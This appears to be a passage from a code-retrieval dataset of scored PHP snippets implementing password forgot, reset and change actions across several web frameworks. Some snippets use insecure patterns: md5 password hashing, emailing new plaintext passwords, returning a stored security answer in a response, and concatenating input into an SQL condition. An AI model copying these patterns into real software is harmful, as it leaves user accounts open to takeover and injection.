$view->infoMessage = $infoMessage;\n $view->formErrors = $formErrors;\n\n return $view->render();\n }", "title": "" }, { "docid": "79fc145224ca69624971d17c92cdee93", "score": "0.7134487", "text": "public function actionChangePassword()\n {\n $id = \\Yii::$app->user->id;\n \n try {\n $model = new ChangePasswordForm($id);\n } catch (InvalidParamException $e) {\n throw new \\yii\\web\\BadRequestHttpException($e->getMessage());\n }\n \n if ($model->load(\\Yii::$app->request->post()) && $model->validate() && $model->changePassword()) {\n \\Yii::$app->session->setFlash('success', 'Password Changed!');\n }\n \n return $this->render('changePassword', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "f16435dcdae6fe4d503591233240501b", "score": "0.7134222", "text": "function changepassword()\r\n {\r\n $data['heading'] = $this->lang->line('FAL_change_password_label');\r\n $data['fal'] = $this->fal_front->changepassword();\r\n\t $this->load->view($this->_container, $data); \r\n }", "title": "" }, { "docid": "4ff9f70f5202932c489a8dc7dbd6c610", "score": "0.71224356", "text": "public function forgot()\n {\n \tif (Auth::check()) {\n return redirect()->action('HomeController@index');\n }\n $this->data['heading_title'] = $this->config['site_name'].' | Forgot Password';\n Request::session()->put('active_menu', '');\n /**\n * Include modules template\n */\n $this->data['module_customer_forgot_form'] = app('App\\Http\\Controllers\\ModulesController')->customer_forgot_form();\n return view('sign.forgot', $this->data);\n }", "title": "" }, { "docid": "44bc01580e92a1edbd24577df305b2fd", "score": "0.71171165", "text": "public function forgotpassword() {\n \n $head_params = array(\n 'title' => 'Candidate Forgot Password | Grab Talent',\n 'description' => \"Grab Talent is the best online recruitment portal\",\n 'keywords' => 'jobs singapore, recruitment agency, GT, Grab Talent',\n );\n $template[\"head\"] = $this->load->view('common/head', $head_params, true);\n $template[\"header\"] = $this->load->view('common/header', null, true);\n $template[\"contents\"] = $this->load->view('candidate/forgotpassword', null, true);\n $this->load->view('common/layout', $template);\n }", "title": "" }, { "docid": "d617a04bd610306b91b68d7dcf5c027e", "score": "0.71143174", "text": "function forgotPassword(){\n\t\t$this->viewBuilder()->layout('admin_login');\n\t\t// Loaded Admin Model\n\t\t$AdminsModel = TableRegistry::get('Admins');\n\t\t//CODE FOR MULTILIGUAL START\n\t\t $session = $this->request->session();\n\t\t // $AdminsModel->_locale = $session->read('requestedLanguage');\n\t\t//CODE FOR MULTILIGUAL END\n\t\t$AdminData = $AdminsModel->newEntity();\n\n\t\tif(isset($this->request->data['email']) && !empty($this->request->data['email'])){\n\t\t\t$data=$this->request->data;\t\n\t\t\t$user = $AdminsModel->find('all',['conditions' => ['Admins.email' => $data['email']]]);\n\t\t\t$getAdminData = $user->first();\n\t\t\t\n\t\t\tif(empty($getAdminData)){\n\t\t\t $this->set(\"error\",\"Email id not register with us, try again\");\n\t\t\t}else{\n\t\t\t\t$new_password = $this->RandomStringGenerator(8);\n\t\t\t\t$update_password = md5($new_password);\n\t\t\t\t$AdminData->id = $getAdminData->id;\n\t\t\t\t$AdminData->password = $update_password;\n\t\t\t\t//save adnin data\t\t\n\t\t\t\tif($AdminsModel->save($AdminData)){\n\t\t\t\t\t$replace = array('{user}','{new_password}');\n\t\t\t\t\t$with = array($getAdminData->username,$new_password);\n\t\t\t\t\t$this->send_email('',$replace,$with,'admin_forgot_password',$getAdminData->email);\n\t\t\t\t\t$this->set('success',\"Password sent on your email id.\");\t\t \n\t\t\t\t}\n\t\t\t}\n\t\t}else{\n\t\t\t $this->set(\"error\",\"Kindly enter email id\");\n\t\t}\n\t}", "title": "" }, { "docid": "0c249d556340a05fcd2d91b8af8364a1", "score": "0.71119887", "text": "function display_forgot_form() {\n?>\n <br />\n <form action=\"forgot_passwd.php\" method=\"post\">\n <table width=\"250\" cellpadding=\"2\" cellspacing=\"0\" bgcolor=\"#cccccc\">\n <tr><td>Enter your username</td>\n <td><input type=\"text\" name=\"username\" size=\"16\" maxlength=\"16\"/></td>\n </tr>\n <tr><td colspan=2 align=\"center\">\n <input type=\"submit\" value=\"Change password\"/>\n </td></tr>\n </table>\n <br />\n<?php\n}", "title": "" }, { "docid": "69d36b593039dca67ff17c9a4f0a801f", "score": "0.71118766", "text": "public function editPassword()\n\t{\n\t\treturn view('profile.updatePassword');\n\t}", "title": "" }, { "docid": "f9de73780fe411453e7f9122c3a4727a", "score": "0.7109634", "text": "public function forgotAction()\n {\n View::renderTemplate('Password/forgot.html.twig');\n }", "title": "" }, { "docid": "95d4d5055b8e92a730f36219e0228c33", "score": "0.7103118", "text": "public function forgotAction(): void {\n\t\tView::renderTemplate('Password/forgot.twig');\n\t}", "title": "" }, { "docid": "b802eb4da1718015ffd3df474ae54695", "score": "0.71026975", "text": "public function showPasswordForm() {\n\n return view( 'auth.password' );\n }", "title": "" }, { "docid": "9da9b3586b401a7a503f59eeb3f3bf33", "score": "0.70963305", "text": "public function ChangePasswordAction() {\n }", "title": "" }, { "docid": "70fc65862baaafc14b046b0304306a58", "score": "0.7091148", "text": "public function forgotPassword() {\n\t\tif($this->request->is('post') && $this->UserAuth->canUseRecaptha('forgotPassword') && !$this->request->is('ajax')) {\n\t\t\t$this->request->data['Users']['captcha'] = (isset($this->request->data['g-recaptcha-response'])) ? $this->request->data['g-recaptcha-response'] : \"\";\n\t\t}\n\t\t$userEntity = $this->Users->newEntity($this->request->data, ['validate'=>'forForgotPassword']);\n\t\tif($this->request->is('post')) {\n\t\t\t$errors = $userEntity->errors();\n\t\t\tif(empty($errors)) {\n\t\t\t\t$email = $userEntity['email'];\n\t\t\t\t$user = $this->Users->findByUsernameOrEmail($email, $email)->first();\n\t\t\t\tif(!empty($user)) {\n\t\t\t\t\tif($user['email_verified'] == 1) {\n\t\t\t\t\t\t$this->Users->sendForgotPasswordMail($user);\n\t\t\t\t\t\t$this->Flash->success(__('We have sent an email to you, please click on the link in your email to reset your password'));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$this->Flash->info(__('Your registration has not been confirmed yet please verify your email address before reset password'));\n\t\t\t\t\t}\n\t\t\t\t\t$this->redirect(['action'=>'login']);\n\t\t\t\t} else {\n\t\t\t\t\t$this->Flash->error(__('Incorrect Email/Username'));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$this->set(compact('userEntity'));\n\t}", "title": "" }, { "docid": "b342ceb63d49842d3681bd33c69faa75", "score": "0.7089692", "text": "public function createNewPassword()\n {\n try {\n $user = Sentry::findUserByLogin(Input::get('email'));\n if($user->checkResetPasswordCode(Input::get('resetCode'))) {\n $this->layout->content = View::make('guest.resetpassword')\n ->with('email', $user->email)\n ->with('resetCode', Input::get('resetCode'));\n } else {\n return Redirect::route('guest.login')->with('errorMessage', 'Reset code tidak valid.');\n }\n } catch (UserNotFoundException $e) {\n return Redirect::route('guest.login')->with('errorMessage', $e->getMessage());\n }\n }", "title": "" }, { "docid": "5dc6f9d99e1c7bc5b8d18140ecd3f1db", "score": "0.70850116", "text": "function get_forgot_password($properties = array()) {\r\n\r\n $page_id = $properties['page_id'];\r\n\r\n $form = new liveform('forgot_password');\r\n\r\n if ($form->get('screen') == 'confirm') {\r\n\r\n $output = $form->get_messages();\r\n\r\n } else {\r\n\r\n $attributes =\r\n 'action=\"' . OUTPUT_PATH . OUTPUT_SOFTWARE_DIRECTORY . '/forgot_password.php\" ' .\r\n 'method=\"post\"';\r\n\r\n $form->set('email', 'required', true);\r\n $form->set('email', 'autofocus', true);\r\n\r\n $screen = $form->get_field_value('screen');\r\n\r\n $password_hint = '';\r\n\r\n if (PASSWORD_HINT && ($screen == 'password_hint')) {\r\n $email = $form->get_field_value('email');\r\n\r\n $password_hint = db_value(\r\n \"SELECT user_password_hint\r\n FROM user\r\n WHERE user_email = '\" . e($email) . \"'\");\r\n }\r\n\r\n // If a send to was passed in the query string,\r\n // then set send to.\r\n if ($_GET['send_to'] != '') {\r\n $form->assign_field_value('send_to', $_GET['send_to']);\r\n\r\n // Otherwise if there is no send to set in the session,\r\n // then set send to to home page as a default.\r\n } else if ($form->get_field_value('send_to') == '') {\r\n $form->assign_field_value('send_to', PATH);\r\n }\r\n\r\n // Escape the send to URL for security reasons,\r\n // because the send to is placed in an anchor href.\r\n $send_to = escape_url($form->get_field_value('send_to')); \r\n\r\n $form->assign_field_value('send_to', $send_to);\r\n\r\n $system =\r\n get_token_field() . '\r\n <input type=\"hidden\" name=\"send_to\">\r\n <input type=\"hidden\" name=\"screen\">';\r\n\r\n if ($password_hint != '') {\r\n $system .= '<input type=\"hidden\" name=\"email\">';\r\n }\r\n\r\n $output = render_layout(array(\r\n 'page_id' => $page_id,\r\n 'page_type' => 'forgot password',\r\n 'messages' => $form->get_messages(),\r\n 'form' => $form,\r\n 'attributes' => $attributes,\r\n 'screen' => $screen,\r\n 'password_hint' => $password_hint,\r\n 'send_to' => $send_to,\r\n 'system' => $system));\r\n\r\n $output = $form->prepare($output);\r\n\r\n }\r\n\r\n $form->remove();\r\n\r\n return\r\n '<div class=\"software_forgot_password\">\r\n ' . $output . '\r\n </div>';\r\n\r\n return $output;\r\n\r\n}", "title": "" }, { "docid": "7b30dbf8d972ea2d5c7daafebeb8d353", "score": "0.70834816", "text": "public function change_password()\n {\n return view('backend.profile.change_password');\n }", "title": "" }, { "docid": "9105a45ab46bf730658106d6af96d351", "score": "0.7083168", "text": "public function forgotPassword()\n {\n $this->load->view('forgotPassword');\n }", "title": "" }, { "docid": "63f887567d6f9ac79c9595d16e03c807", "score": "0.7077875", "text": "public function forgotPassword()\n {\n return view('admin.forgot-password');\n }", "title": "" }, { "docid": "63f887567d6f9ac79c9595d16e03c807", "score": "0.7077875", "text": "public function forgotPassword()\n {\n return view('admin.forgot-password');\n }", "title": "" }, { "docid": "4bc8467967cbc2542b3839d48a16a557", "score": "0.7075156", "text": "public function forgotpassword(){\n $this->load->view( 'template/head' );\n\t\t\t$this->load->view('template/forgotpass');\n\t\t}", "title": "" }, { "docid": "31384295cf2459b8fa808e6ee0a165c8", "score": "0.70634353", "text": "function forgotpassword(){\n\t\t$this->set(\"title_for_layout\",FORGOTPASSWORD);\n\t\tif(isset($this->data) && !empty($this->data)){\n\t\t\t$arr = $this->Admin->find(\"first\",array(\"conditions\"=>array(\"username\"=>$this->data['Admin']['email'])));\n\t\t\tif(empty($arr)){\n\t\t\t\t$this->Session->setFlash(INVALID_EMAIL_FORGOT_PASSWORD);\n\t\t\t} else {\n\t\t\t\t$arr['Admin']['passwordstatus'] = 1;\n\t\t\t\t$new_password = rand(100000, 999999);\n\t\t\t\t$arr['Admin']['password'] = $this->encryptpass($new_password);\n\t\t\t\t/* code to send email confirmation for signup */\n\t\t\t\t$user\t= \"Administrator\";\n\t\t\t\t$this->getmaildata(2);\n\t\t\t\t$this->mailBody = str_replace(\"{USER}\",$user,$this->mailBody);\n\t\t\t\t$this->mailBody = str_replace(\"{PASSWORD}\",$new_password,$this->mailBody);\n\t\t\t\t$flag = $this->sendmail($arr['Admin']['username']);\n\t\t\t\t/* code to send email confirmation for signup */\n\t\t\t\tif ($flag) {\n\t\t\t\t\t$this->Session->setFlash(NEW_SENT_FORGOT_PASSWORD, 'default', array(\"class\"=>\"success_message\"));\n\t\t\t\t\t$this->Admin->save($arr);\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$this->Session->setFlash(FAIL_SENT_FORGOT_PASSWORD);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$this->redirect(\"/admins/forgotpassword\");\n\t\t}\n\t}", "title": "" }, { "docid": "bda27e1cac3f1f8eb7cc69ebbe59cc7f", "score": "0.70611215", "text": "function action_changePassword() {\n $this->template->title = \t\t__('Change Password');\n $this->template->heading = \t\t__('Change Your Password');\n $this->template->subheading = \t__('Change your account password.');\n\t\t\n /* Require login */\n $this->requireLogin();\n\n /* Get logged in account */\n $account = $this->auth->getAccount();\n \n $fields = $account->default_fields;\n\t\t\n $form = array(\n 'password' => '',\n 'confirm_password' => '',\n );\n\t\t\n $errors = $form;\n\t\tif ($post = $this->request->post()) {\n\t\t\t$extra_validation = Validation::Factory($post);\n\t\t\t$account->values($post);\n\t\t\t\n\t\t\ttry {\t\t\t\t\n\t\t\t\t$extra_validation->rule('password', 'matches', array(':validation', 'password', 'confirm_password'));\n\t\t\t\t$account->save($extra_validation);\n\t\t\t\t$this->addMessage('Successfully changed the password for ' . $account->email);\n\t\t\t\t\n\t\t\t\t/* Complete login, update hash, update timestamps, etc */\n\t\t\t\t$account->salt = null;\n\t\t\t\t$account->password = $post['password'];\n\t\t\t\t$this->auth->complete_login($account);\t\t\t\t\t\n\t\t\t\t$this->request->redirect('user/index');\t\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tcatch (ORM_Validation_Exception $e)\n\t\t\t{\t\t\n\t\t\t\t// repopulate the form fields\n\t\t\t\t$form = arr::overwrite($form, $post);\n\n\t\t\t\t// populate the error fields, if any\n\t\t\t\t// We need to already have created an error message file, for Kohana to use\n\t\t\t\t// Pass the error message file name to the errors() method\n\t\t\t\t$error_list = $e->errors('form_error_messages');\t\t\t\t\n\t\t\t\t$errors = arr::overwrite($errors, $error_list);\n\t\t\t\t\n\t\t\t\tif ( !empty($error_list['_external']['password']) ) {\n\t\t\t\t\t$errors['confirm_password'] = $error_list['_external']['password']; //This is a hack!\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\t\t\t\n\t\t\tcatch (Exception $e)\n\t\t\t{\n\t\t\t\t$this->addError(\"Oops. Something went wrong and it's not your fault. Contact the system maintainer please!\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n $this->template->content = new View('user/changePassword', array('form'=>$form, 'errors'=>$errors, 'fields'=>$fields));\n }", "title": "" }, { "docid": "4f16f7630c22c5eddfdbb9edc67ff2ea", "score": "0.70564973", "text": "public function forgotPasswordAction() {\n $userTable = new Application_Model_DbTable_Users();\n\n $user_email_phn = $this->getRequest()->getPost('user_email_phn');\n\n if (trim($user_email_phn)) {\n $select = $userTable->select()\n ->where('(userPhone =?', $user_email_phn)\n ->orWhere(\"phoneWithCode =?\", $user_email_phn)\n ->orWhere(\"userEmail =?)\", $user_email_phn);\n\n if ($userRow = $userTable->fetchRow($select)) {\n $responseData = array(\n 'userId' => $userRow->userId,\n 'secQuestion' => $userRow->secQuestion,\n 'secAnswer' => $userRow->secAnswer\n );\n\n $this->common->displayMessage($this->view->translate('email_txt_41'), \"0\", $responseData, \"0\");\n } else {\n $this->common->displayMessage($this->view->translate('email_txt_42'), \"1\", array(), \"1\");\n }\n } else {\n $this->common->displayMessage($this->view->translate('email_txt_42'), \"1\", array(), \"2\");\n }\n exit;\n }", "title": "" }, { "docid": "f3941acebedf11cb3e4c042c40b84519", "score": "0.70494026", "text": "public function member_change_password_form()\n {\n return member_layout_change_password_form();\n }", "title": "" }, { "docid": "8f23ad4fd87cadaf5529ef1124923fe9", "score": "0.704819", "text": "public function forgot()\n {\n $this->render('login/forgot.html.twig');\n }", "title": "" }, { "docid": "5e7bd2197e9fdb6d52186f306b8a7614", "score": "0.70464104", "text": "public function forgot() {\n $data = [];\n if (strtolower($_SERVER['REQUEST_METHOD']) == 'post') {\n try {\n $response = $this->user->reset_password($this->input->post('username'), $this->input->post('g-recaptcha-response'));\n if ($response)\n $data['success'] = TRUE;\n } catch (Exception $e) {\n $msg = explode('%', $e->getMessage());\n $code = $e->getCode();\n show_error($msg[0], $code, $msg[1]);\n }\n }\n\n $this->load->view('user/forgot', $data);\n }", "title": "" }, { "docid": "a74078b50c377ee5fc45b1caf27137cc", "score": "0.7044132", "text": "public function password() {\n \n if(!current_user_can(\"manage_jobs\")) {\n return $this->_loginForm(wpjb_link_to(\"employer_password\"));\n }\n\n if(!$this->_hasAccess(\"manage_jobs\")) {\n return $this->flash();\n }\n \n $url = wpjb_link_to(\"employer_edit\");\n \n $this->view = new stdClass();\n $this->view->action = \"\";\n $this->view->submit = __(\"Change Password\", \"wpjobboard\");\n \n $form = new Wpjb_Form_PasswordChange();\n $form->getElement(\"_wpjb_action\")->setValue(\"wpjb_emp_change_password\");\n if($this->getRequest()->isPost()) {\n $isValid = $form->isValid($this->getRequest()->getAll());\n if(!$isValid) {\n $this->addError($form->getGlobalError());\n }\n }\n \n foreach(array(\"user_password\", \"user_password2\", \"old_password\") as $f) {\n if($form->hasElement($f)) {\n $form->getElement($f)->setValue(\"\");\n }\n }\n \n $this->view->breadcrumbs = array(\n array(\"title\"=>__(\"Home\", \"wpjobboard\"), \"url\"=>wpjb_link_to(\"employer_home\"), \"glyph\"=>\"wpjb-icon-home\"),\n array(\"title\"=>__(\"Change Password\", \"wpjobboard\"), \"url\"=>wpjb_link_to(\"employer_password\"), \"glyph\"=>$this->glyph()),\n );\n \n $this->view->form = $form;\n \n return $this->render(\"default\", \"form\");\n }", "title": "" }, { "docid": "ea3b3adeba289f3aca8aa22b4586228c", "score": "0.70407695", "text": "function display_forgot_form() {\n ?>\n <form action=\"forgot_passwd.php\" method=\"post\">\n <table width=\"250\" cellpadding=\"2\" cellspacing=\"0\" bgcolor=\"#cccccc\">\n <tr>\n <td>Enter your username</td>\n <td><input type=\"text\" name=\"username\" size=\"16\" maxlength=\"16\"></td>\n </tr>\n <tr>\n <td colspan=\"2\" align=\"center\">\n <input type=\"submit\" value=\"Change password\">\n </td>\n </tr>\n </table>\n </form>\n<?php\n}", "title": "" }, { "docid": "540a4e7a5b855bf4f7a7fb79bfde9957", "score": "0.7035146", "text": "public function forgotPassword()\r\n {\r\n require_once('views/mobile/forgotPassword.php');\r\n }", "title": "" }, { "docid": "d31aba298e35dcd61c84183a99bd7c18", "score": "0.7032471", "text": "public function action_password_reset()\n\t{\n\t\t$error_message = $this->user->validate_password(input::post('password'),input::post('retype'),input::post('id'));\n\t\t\n\t\tif($error_message == null)\n\t\t{\n\t\t\t$message_type = 3;\n\t\t\t$message = $this->user->get_message($message_type);\n\t\t\techo $message;\t\t// dummy echo\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn Response::forge(View::forge('startpage/change_password',array('message'=>$error_message,'id'=>input::post('id'))));\t\n\t\t}\n\t}", "title": "" }, { "docid": "139936e2d164b723455e643b91f79944", "score": "0.70220315", "text": "public function showResetRequestForm()\n\t{\n\t\treturn view('vi::auth.password-reset.request');\n\t}", "title": "" }, { "docid": "ef95f801f8b035a0fd4dc9089b086015", "score": "0.70175964", "text": "public function forgot() {\r\n $this->load->view('authentication/reset_password');\r\n }", "title": "" }, { "docid": "2684eb35c37cd320ee22c4a3f77cecc6", "score": "0.7015774", "text": "public function showForgotForm(Request $request)\n {\n return view('litstack::auth.passwords.forgot');\n }", "title": "" }, { "docid": "62f8b2fd585f843623134abc6c9e5a4c", "score": "0.7010557", "text": "private function _reset_password() { \n\t\t$this->ci->form_validation->set_rules( 'password', 'Password', 'required|min_length[8]' );\n\t\t$this->ci->form_validation->set_rules( 're_password', 'Password', 'matches[password]' );\n\t\t$this->ci->form_validation->set_message( 'required', 'Please enter your new password.' );\n\t\t$this->ci->form_validation->set_message( 'matches', 'Password does not match.' );\n\t}", "title": "" }, { "docid": "4de3a278a5d23bad5ea5e626ca5907b0", "score": "0.70069546", "text": "public function doForgotPassword()\n {\n if (Confide::forgotPassword(Input::get('email'))) {\n \n $notice_msg = Lang::get('confide::confide.alerts.password_forgot');\n Session::flash('message', $notice_msg);\n Session::flash('alert-class', 'alert-success');\n return Redirect::action('UsersController@login');\n\n } else {\n\n $error_msg = Lang::get('confide::confide.alerts.wrong_password_forgot');\n Session::flash('message', $error_msg);\n Session::flash('alert-class', 'alert-danger');\n return Redirect::action('UsersController@login');\n }\n }", "title": "" }, { "docid": "f0023d330003ebfb5ade70a225d7bd53", "score": "0.70043457", "text": "function password_reset(){\n return view('auth.passwords.password_reset');\n }", "title": "" }, { "docid": "2e763a1868b6171cfcaa2dfc245b94cc", "score": "0.70029014", "text": "public function changePassword()\n {\n return view('client.change-password');\n }", "title": "" }, { "docid": "7053df78d0ffb8d44d1f8a847c862d71", "score": "0.70021164", "text": "public function changepasswordAction()\n {\n $request = $this->getRequest();\n\n if ($request->isGet()) {\n return $this->sendResetPasswordLink($request);\n } elseif ($request->isPut()) {\n return $this->changePassword($request);\n }\n }", "title": "" }, { "docid": "6ec05c1f9677e5216b737b8e1b3faeb5", "score": "0.6999935", "text": "public function changePassword(){\n return view('auth.password.change');\n }", "title": "" }, { "docid": "a0952e0f617f8b635f6a9bc91f6d763f", "score": "0.69859254", "text": "public function password()\n {\n return view('modules.admin.users.change_password');\n\n }", "title": "" }, { "docid": "67d75cdef4ccbc10d6ca4dfcf52a89d5", "score": "0.69835174", "text": "function forgotten_password_reset()\r\n {\t\r\n $data['heading'] = $this->lang->line('FAL_forgotten_password_label');\r\n $data['fal'] = $this->fal_front->forgotten_password_reset();\r\n\t $this->load->view($this->_container, $data); \r\n }", "title": "" }, { "docid": "09b075d4a4d7176e5e57164b3647f3e2", "score": "0.69722664", "text": "public function forgotAction()\r\n {\r\n \t$this->View->setMainIndex('forgot.php');\r\n \t \r\n \t$params = Helper::getRequestParams('post');\r\n \t \r\n \t// 2.\r\n \tif(is_array($params) && count($params)) {\r\n \r\n \t\t$ip = Helper::getClientIp();\r\n \t\t\t\r\n \t\t// validate the google captcha right here\r\n \t\tif(isset($params['g-recaptcha-response']) && !empty($params['g-recaptcha-response'])) {\r\n \t\t\t \r\n \t\t\t$recaptcha = new \\ReCaptcha\\ReCaptcha(CONFIG['recaptcha']['secretkey']);\r\n \t\t\t$resp = $recaptcha->verify($params['g-recaptcha-response'], $ip);\r\n \t\t\tif ($resp->isSuccess()) {\r\n \t\t\t\t \r\n \t\t\t\t// get token from session\r\n \t\t\t\t$token = $this->Session->getToken();\r\n \t\t\t\t\r\n \t\t\t\tif(isset($params['token']) && !empty($token) && $token === $params['token']) {\r\n \t\t\t\t\t \r\n \t\t\t\t\t$this->Session->resetToken();\r\n \t\t\t\t\t\r\n \t\t\t\t\tif(isset($params['email'])) {\r\n \t\t\t\t\t\r\n \t\t\t\t\t\tif($this->Data->sendPasswordResetCode($params['email']) === true) {\r\n \t\t\t\t\t\r\n \t\t\t\t\t\t\t// 3. true\r\n \t\t\t\t\t\t\t$this->Session->setSuccess($this->Lang->get('account_forgot_email_sending_success'));\r\n \t\t\t\t\t\t\tHelper::redirectTo('/account/index/reset/');\r\n \t\t\t\t\t\t\texit;\r\n \t\t\t\t\t\r\n \t\t\t\t\t\t} else {\r\n \t\t\t\t\t\r\n \t\t\t\t\t\t\t// 3. false\r\n \t\t\t\t\t\t\t$this->Session->setError($this->Lang->get('account_forgot_email_sending_failed'));\r\n \t\t\t\t\t\t}\r\n \t\t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\t} else {\r\n \t\t\t\r\n\t \t\t\t\t$this->Session->setError($this->Lang->get('app_token_error'));\r\n\t \t\t\t\tHelper::redirectTo('/account/index/login/');\r\n\t \t\t\t\texit;\r\n\t \t\t\t}\r\n \t\t\t\t \r\n \t\t\t} else {\r\n \r\n \t\t\t\t$errors = $resp->getErrorCodes();\r\n \t\t\t}\r\n \t\t\t \r\n \t\t} else {\r\n \r\n \t\t\t$this->Session->setError($this->Lang->get('account_captcha_error'));\r\n \t\t}\r\n \t}\r\n \t\r\n \t$this->Session->setToken();\r\n \t$token = $this->Session->getToken();\r\n \t$this->View->setTplVar('token', $token);\r\n \t \r\n \t// 1.\r\n \t$this->View->addScript('https://www.google.com/recaptcha/api.js', 1);\r\n \t$this->View->setTplVar('sitekey', CONFIG['recaptcha']['sitekey']);\r\n \t \r\n \t// load the template\r\n \t$template = $this->View->loadTemplate($this->path.'/templates/forgot.php');\r\n \t// main template\r\n \t$this->View->setModuleTpl('forgot', $template);\r\n }", "title": "" }, { "docid": "d838b9065b9aa009046a0593287b8e60", "score": "0.6971027", "text": "public function updatePasswordByForgot()\r\n {\r\n $this->checkIfDemo();\r\n $this->form_validation->set_rules('token', 'Token', 'required', array('required' => 'Token mismatch.'));\r\n $this->form_validation->set_rules('password', 'New Password', 'required');\r\n $this->form_validation->set_rules('retype_password', 'Confirm Password', 'required|matches[password]');\r\n\r\n if ($this->form_validation->run() === FALSE) {\r\n echo json_encode(array(\r\n 'success' => 'false',\r\n 'messages' => $this->ajaxErrorMessage(array('error' => validation_errors()))\r\n ));\r\n } elseif (!$this->CandidateModel->getFirst('candidates.token', $this->xssCleanInput('token'))) {\r\n echo json_encode(array(\r\n 'success' => 'false',\r\n 'messages' => $this->ajaxErrorMessage(array('error' => lang('token_mismatch')))\r\n ));\r\n } else {\r\n $this->CandidateModel->updatePasswordByField(\r\n 'candidates.token',\r\n $this->xssCleanInput('token'),\r\n makePassword($this->xssCleanInput('password'))\r\n );\r\n echo json_encode(array(\r\n 'success' => 'true',\r\n 'messages' => $this->ajaxErrorMessage(array('success' => lang('password_updated')))\r\n ));\r\n }\r\n }", "title": "" }, { "docid": "38ef2adcb979364881beaf37dc6bd54e", "score": "0.6960087", "text": "public function newpasswordAction()\n {\n $email = $this->_getParam('email');\n $this->view->email = $email;\n\n $form = new Users_Form_NewPassword();\n\n $request = $this->getRequest();\n\n if (!$request->isPost()) {\n $this->view->form = $form;\n return;\n } elseif (!$form->isValid($_POST)) {\n $this->view->failedValidation = true;\n $this->view->form = $form;\n return;\n }\n \n // We have a valid POST :\n $formValues = $form->getValues();\n $model = new Users_Model_Users();\n $row = $model->fetchEntryByEmail($email);\n if (hash('SHA256', $formValues['randomPassword']) != $row['validation_code'])\n {\n $this->view->failedRandomPassword = true;\n $this->view->form = $form;\n return;\n }\n $model->update(array('password'=>$formValues['newPassword'], 'validation_code'=>'0'), \"email='\" . $email . \"'\" );\n $this->view->newPasswordSetOk = true;\n }", "title": "" }, { "docid": "b0c32a66350488cdd0d4c5c15c0dcf69", "score": "0.695864", "text": "public function changePasswordView()\n {\n return \\view('update-user-password');\n }", "title": "" }, { "docid": "8b33503d4c8dcf8401a5efb7ffc7df67", "score": "0.69575703", "text": "public function passwordChangedAction()\n {\n }", "title": "" } ]
e6cd17be1324d7b2ffe9943b8ec10a7a
Modificado por Jhon Martinez
[ { "docid": "0ae1d90832490bd3f12ce52e436d58b6", "score": "0.0", "text": "public function modulos_role($Rol_IdRol)\n {\n $this->_acl->acceso('agregar_rol');\n $this->validarUrlIdioma();\n $this->_view->getLenguaje(\"index_inicio\");\n $Rol_IdRol = $this->filtrarInt($Rol_IdRol);\n \n if(!$Rol_IdRol)\n {\n $this->redireccionar('acl/roles');\n } \n $row = $this->_aclm->getRol($Rol_IdRol); \n if(!$row)\n {\n $this->redireccionar('acl/roles');\n }\n if ($this->botonPress(\"bt_cancelarEditarRol\")) {\n $this->redireccionar('acl/index/roles');\n }\n \n $this->_view->assign('titulo', 'Administracion de modulos rol');\n \n if($this->getInt('guardar') == 1)\n {\n $values = array_keys($_POST);\n $replace = array();\n $eliminar = array();\n \n for($i = 0; $i < count($values); $i++)\n {\n if(substr($values[$i],0,5) == 'perm_')\n {\n $modulo = (strlen($values[$i]) - 5);\n \n if($_POST[$values[$i]] == 'x')\n {\n $eliminar[] = array(\n 'role' => $Rol_IdRol,\n 'modulo' => substr($values[$i], -$modulo)\n );\n }\n else\n {\n if($_POST[$values[$i]] == 1)\n {\n $v = 1;\n }\n else\n {\n $v = 0;\n }\n \n $replace[] = array(\n 'role' => $Rol_IdRol,\n 'modulo' => substr($values[$i], -$modulo),\n 'valor' => $v\n );\n }\n }\n }\n \n for($i = 0; $i < count($eliminar); $i++)\n {\n $this->_aclm->eliminarmoduloRol(\n $eliminar[$i]['role'],\n $eliminar[$i]['modulo']);\n }\n \n for($i = 0; $i < count($replace); $i++)\n {\n $this->_aclm->editarmoduloRol(\n $replace[$i]['role'],\n $replace[$i]['modulo'],\n $replace[$i]['valor']);\n }\n }\n \n $this->_view->assign('role', $row);\n $this->_view->assign('modulos', $this->_aclm->getmodulosRol($Rol_IdRol));\n $this->_view->renderizar('modulos_role');\n }", "title": "" } ]
[ { "docid": "4f52f1196f6a83daf2580ec7fd3a474e", "score": "0.6699861", "text": "function afficher() ;", "title": "" }, { "docid": "8c13f7b38f8c05e9315047354c7aaf52", "score": "0.65977734", "text": "private function affiche()\n\t{\n\t}", "title": "" }, { "docid": "9c3de5488ac6bedf8fbfb2088fecb1b7", "score": "0.630107", "text": "public function alterar(){\n\t}", "title": "" }, { "docid": "3838b50a0bc52a7cedec605802614228", "score": "0.61942965", "text": "protected function apagado()\n {\n }", "title": "" }, { "docid": "bd39c60eca5b8559c6843f1187e78926", "score": "0.6057958", "text": "public function ecrire(){\n \n }", "title": "" }, { "docid": "1eec7fddba8050ae8d62731379a73a77", "score": "0.6013754", "text": "public function prikazi(){\n\n \t}", "title": "" }, { "docid": "916a1282f9a24fd2df1c44c47ada0360", "score": "0.5985223", "text": "public function refrshMe()\n {\n \n }", "title": "" }, { "docid": "57178570dc9bde03e4de27133698a186", "score": "0.596204", "text": "public function sinhcon()\n {\n }", "title": "" }, { "docid": "57178570dc9bde03e4de27133698a186", "score": "0.596204", "text": "public function sinhcon()\n {\n }", "title": "" }, { "docid": "0a64f55c3843c2290188f6d521d43aad", "score": "0.5925862", "text": "abstract function ingresos();", "title": "" }, { "docid": "4a986d803517f2ebad9b466d7e9fdfd3", "score": "0.58601314", "text": "public function uminus() {\n\t}", "title": "" }, { "docid": "b032d0e3c804de02cb5a86f213794353", "score": "0.58310586", "text": "public function ecrire(){\n\n }", "title": "" }, { "docid": "947a7f611978c0559011400446ba7d1b", "score": "0.580558", "text": "function wahl_abgeben();", "title": "" }, { "docid": "65e3b38e3ab931082b78ed5606eef478", "score": "0.5701294", "text": "public function ligar()\n {\n }", "title": "" }, { "docid": "37c8a01523dd390141dedd8d85cc15f9", "score": "0.56837034", "text": "public function ligarMudo()\n {\n }", "title": "" }, { "docid": 